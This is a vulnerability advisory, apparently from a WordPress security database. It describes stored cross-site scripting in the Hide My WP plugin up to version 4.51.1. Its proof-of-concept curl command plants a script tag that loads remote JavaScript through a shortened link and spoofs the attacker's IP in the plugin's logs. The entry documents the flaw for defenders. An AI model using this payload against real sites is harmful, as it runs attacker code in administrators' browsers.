Hide My WP <= 4.51.1 - Stored Cross-Site Scripting (XSS)



Description
An attacker can make a fake attack attempt, with a JavaScripting payload, which will be logged by the plugin, resulting in XSS. The attacker also can spoof their IP address in the logs by setting the X-FORWARDED-FOR header.
Proof of Concept
curl --referer '<script src="//ow.ly/gZrTh"> // () { :; };' --header 'X-FORWARDED-FOR: 8.8.8.8' http://example.com

The site's owner will get a notification about the fake attack attempt, when he checks it in the logs the JavaScript payload will be run.

Affects Plugin

fixed in version 4.52

References

URL https://codecanyon.net/item/hide-my-wp-no-one-can-know-you-use-wordpress/4177158

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter jurij
Views 4701
Verified No
WPVDB ID 8119

Timeline

Publicly Published 2015-07-27 (almost 5 years ago)
Added 2015-07-29 (almost 5 years ago)
Last Updated 2019-10-22 (9 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin